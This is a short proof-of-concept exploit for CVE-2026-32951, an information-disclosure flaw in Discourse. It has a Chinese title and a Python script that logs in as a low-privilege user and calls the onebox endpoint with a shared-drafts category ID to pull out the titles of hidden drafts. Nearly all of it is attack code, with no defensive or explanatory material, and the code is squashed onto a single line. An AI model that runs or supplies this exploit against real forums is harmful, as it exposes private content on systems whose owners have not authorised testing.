CVE-2026-32951 Discourse 信息泄露漏洞

import requests # Target configuration target_url = "http://discourse-instance.com" login_url = f"{target_url}/session" # Hypothetical endpoint based on vulnerability description onebox_endpoint = f"{target_url}/onebox" # User credentials (Low privilege user) username = "attacker" password = "password" session = requests.Session() # 1. Authenticate to the application login_payload = { "login": username, "password": password } # Note: Actual implementation might require CSRF tokens login_resp = session.post(login_url, data=login_payload) if login_resp.status_code != 200: print("Login failed") exit() # 2. Exploit: Send inline onebox request with the vulnerable category_id # The attacker needs to know or guess the ID of the shared drafts category shared_draft_category_id = "<SHARED_DRAFT_CATEGORY_ID>" exploit_params = { "url": "https://example.com", # Valid URL to trigger onebox generation "category_id": shared_draft_category_id # The vulnerable parameter } print(f"Sending request to {onebox_endpoint} with params: {exploit_params}") response = session.get(onebox_endpoint, params=exploit_params) # 3. Analyze response for leaked draft titles if response.status_code == 200: print("[+] Request successful. Check response content for leaked draft titles:") print(response.text) else: print("[-] Exploit request failed or endpoint not found.")